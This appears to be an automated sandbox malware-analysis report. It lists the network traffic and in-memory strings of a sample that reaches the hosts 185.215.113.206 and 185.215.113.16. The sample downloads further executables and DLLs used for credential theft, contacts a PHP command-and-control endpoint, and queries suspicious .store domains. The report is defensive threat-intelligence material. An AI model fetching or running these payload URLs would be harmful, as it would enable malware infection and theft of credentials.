Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 11 Nov 2024 13:28:47 GMTIf-None-Match: "6732068f-1b5a00"
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: 580f9a92c2.exe, 00000014.00000003.2773044975.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C80f26d8df816a964aafb6ec188b485ed; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=f2dcd1fdd2995f2c43559931; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35052Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveMon, 11 Nov 2024 13:33:49 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-ControlhQH equals www.youtube.com (Youtube)
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: founpiuer.store
Source: global traffic	DNS traffic detected: DNS query: navygenerayk.store
Source: global traffic	DNS traffic detected: DNS query: scriptyprefej.store
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: marshal-zhukov.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 905sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeZ
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exee
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exelencoded
Source: file.exe, 00000000.00000002.1968346167.0000000023531000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1942675827.000000000101A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 580f9a92c2.exe, 00000011.00000002.2748924112.0000000001357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 580f9a92c2.exe, 00000011.00000002.2748924112.0000000001357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exem
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000002.2748585054.00000000010FA000.00000004.00000010.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000002.2748924112.0000000001357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeS
Source: 580f9a92c2.exe, 00000011.00000002.2748924112.0000000001357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exel
Source: file.exe, 00000000.00000002.1942675827.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1941074085.0000000000617000.00000040.00000001.01000000.00000003.sdmp, 971dbb906d.exe, 0000000D.00000002.2457446943.000000000089E000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000002.2748924112.0000000001322000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000002.2748924112.0000000001389000.00000004.00000020.00020000.00000000.sdmp, 971dbb906d.exe, 00000012.00000002.2631391189.00000000014FB000.00000004.00000020.00020000.00000000.sdmp, 971dbb906d.exe, 00000015.00000002.2892455567.000000000147B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 971dbb906d.exe, 00000015.00000002.2892455567.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 971dbb906d.exe, 00000015.00000002.2892455567.000000000147B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 971dbb906d.exe, 00000012.00000002.2631391189.000000000154D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0
Source: 971dbb906d.exe, 00000015.00000002.2892455567.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6-
Source: file.exe, 00000000.00000002.1942675827.0000000001050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1942675827.0000000001050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll2
Source: file.exe, 00000000.00000002.1942675827.0000000001050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1942675827.000000000101A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1942675827.000000000101A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll&t?
Source: file.exe, 00000000.00000002.1942675827.0000000001050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1942675827.0000000001050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllh
Source: file.exe, 00000000.00000002.1942675827.000000000101A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dlltQ
Source: file.exe, 00000000.00000002.1942675827.000000000101A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllu
Source: file.exe, 00000000.00000002.1942675827.0000000001050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1968346167.0000000023531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 580f9a92c2.exe, 00000011.00000003.2715613994.0000000001395000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/C:
Source: 971dbb906d.exe, 0000000D.00000002.2457446943.000000000089E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/K
Source: 580f9a92c2.exe, 00000011.00000003.2715613994.0000000001395000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/LMEM00G3
Source: 580f9a92c2.exe, 00000011.00000002.2754001655.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/T
Source: 971dbb906d.exe, 00000012.00000002.2631391189.00000000014FB000.00000004.00000020.00020000.00000000.sdmp, 971dbb906d.exe, 00000015.00000002.2892455567.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 971dbb906d.exe, 00000015.00000002.2892455567.000000000147B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.1942675827.0000000001002000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php#
Source: 971dbb906d.exe, 0000000D.00000002.2457446943.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000002.2754001655.0000000005B50000.00000004.00000800.00020000.00000000.sdmp, 971dbb906d.exe, 00000015.00000002.2892455567.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 971dbb906d.exe, 00000015.00000002.2892455567.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/8-I
Source: 580f9a92c2.exe, 00000011.00000002.2754001655.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/e
Source: file.exe, 00000000.00000002.1968346167.0000000023531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php0A
Source: 580f9a92c2.exe, 00000011.00000002.2748924112.0000000001389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1M
Source: 971dbb906d.exe, 0000000D.00000002.2457446943.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1W
Source: 971dbb906d.exe, 0000000D.00000002.2457446943.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php?
Source: file.exe, 00000000.00000002.1968346167.0000000023531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpA
Source: 971dbb906d.exe, 00000015.00000002.2892455567.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpA1J
Source: file.exe, 00000000.00000002.1942675827.0000000001002000.00000004.00000020.00020000.00000000.sdmp, 971dbb906d.exe, 0000000D.00000002.2457446943.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpC
Source: file.exe, 00000000.00000002.1968346167.0000000023531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpPA
Source: file.exe, 00000000.00000002.1941074085.0000000000617000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: 971dbb906d.exe, 00000015.00000002.2892455567.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe0
Source: 971dbb906d.exe, 00000012.00000002.2631391189.000000000154D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpf
Source: 971dbb906d.exe, 00000012.00000002.2631391189.000000000154D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phph
